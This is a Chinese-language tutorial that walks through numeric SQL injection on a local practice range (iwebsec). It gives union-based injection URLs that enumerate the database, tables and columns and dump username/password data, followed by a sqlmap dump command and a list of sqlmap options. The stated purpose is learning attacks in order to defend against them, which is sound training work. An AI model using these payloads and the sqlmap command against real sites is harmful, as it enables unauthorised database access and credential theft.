简介
手工注入
首先访问我们的靶场环境:http://192.168.30.171
接着访问sql注入漏洞>01-数字型注入
靶场环境
发现漏洞
使用hackbar或者直接在url地址栏当输入单引号’%27
这里我选择使用hackbar会比较方便一点
可以看到,我们输入的单引号直接被带入到语句当中执行了,导致我们的页面中直接返回了sql错误的信息。
这种直接被带入执行的语句是很危险的,因为这个地方可以由用户自定义恶意的sql代码,从而对数据库进行窃取、破坏、安装后门等一系列的破坏数据库的行为
漏洞复现
既然我们已经发现漏洞,我们就需要对漏洞进行复现,从而熟悉黑客攻击的过程以便于我们后期更好地进行有效的防护
获取数据库名
我们可以构造恶意的sql语句获取当前的数据库名字
判断当前表的字段数量,这里可以通过二分查找法快速确定
攻击代码如下:
#成功判断字段数量为3
http://192.168.30.171/sqli/01.php?id=3 order by 3
#通过联合查询查看可以回显的字段,回显的地方一共有3个
http://192.168.30.171/sqli/01.php?id=-3 union select 1,2,3
#通过回显的地方查看数据路径,操作系统
http://192.168.30.171/sqli/01.php?id=-3 union select @@datadir,@@version_compile_os,3
#获取当前数据库的名字
http://192.168.30.171/sqli/01.php?id=-3 union select database(),2,3
获取数据库的表名
获取到数据库名之后,可以查看有多少表,有什么表,最后筛选出来有什么表是具有价值的,比如:admin、users、config、data类似名字
攻击代码如下:
http://192.168.30.171/sqli/01.php?id=-3 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()
查看出来有:sqli,user,users,xss
目前看来有直接价值的是user,users这两个表
获取user和users表的字段名
查看users表中的字段
攻击代码如下:
http://192.168.30.171/sqli/01.php?id=-3 union select table_schema, table_name, group_concat(column_name) from information_schema.columns where table_name='users'
users表的字段有:username,password,role
查看user表中的字段
攻击代码如下:
http://192.168.30.171/sqli/01.php?id=-3 union select table_schema, table_name, group_concat(column_name) from
information_schema.columns where table_name='user'#只是将这个地方修改为user即可
user表的字段有:id,username,password
读取这两个表中的数据
要时刻记住我们的最终目的就是信息,也就是数据,得数据者得天下!
从上面的结果来看,对我们来说有用的字段也就是比较显眼的username和password,只要得到这两个字段中的数据我们就可以使用任意用户进行登录
获取users表中的数据
攻击代码如下:
http://192.168.30.171/sqli/01.php?id=-3 union select username,password,3 from users --+
这个表中只有一条数据,username:orange,password:mall123mall
注:这里提醒一下,由于实际场景中的数据量是很庞大的,不应该直接像上面那样直接将数据回显出来,应该对这些数据进行限制输出处理也就使用limit关键字
获取user表中的数据
攻击代码如下:
http://192.168.30.171/sqli/01.php?id=-3 union select username,password,3 from user --+
这个表中一共有三条数据
id | name | age |
---|---|---|
user1 | pass1 | 3 |
user2 | pass2 | 3 |
user3 | pass3 | 3 |
到这里,整个漏洞复现也就结束了,当然绝对不仅限于上面,这些都只是最基础最基础的内容。其实只要像上面这种什么权限都有已经属于高危漏洞了,实际场景当中都是存在有waf进行防御,也就是说即使代码没有过滤,也很难绕过这些waf。
使用sqlmap进行注入
实际场景中,如果使用手工确定一处存在漏洞,我们便可以直接把它丢到sqlmap就行了,很少会像上面那样使用繁琐的方式获取信息。上面也仅仅只是用于了解原理进行学习。
获取user表中的数据
sqlmap -u "http://192.168.30.171/sqli/01.php?id=3" --batch -D iwebsec -T user -C username,password --dump
+----------+----------+
| username | password |
+----------+----------+
| user1 | pass1 |
| user2 | pass2 |
| user3 | pass3 |
+----------+----------+
跟我们手工注入获取的信息是一样的,上面的命令都是已知数据库、表名、字段
如果不知道数据库、表名、字段情况下也是不能获取数据的,下面一些参数就可以起到信息收集的作用了。最后使用dump出来就行了。
sqlmap参数:
–dbs 列举数据库
–current-db 当前数据库
–tables 列举数据库的表名
–columns 列举表的字段名
–dump 列举表中的数据
-D 指定数据库
-T 指定表
-C 指定字段,可用逗号,进行分割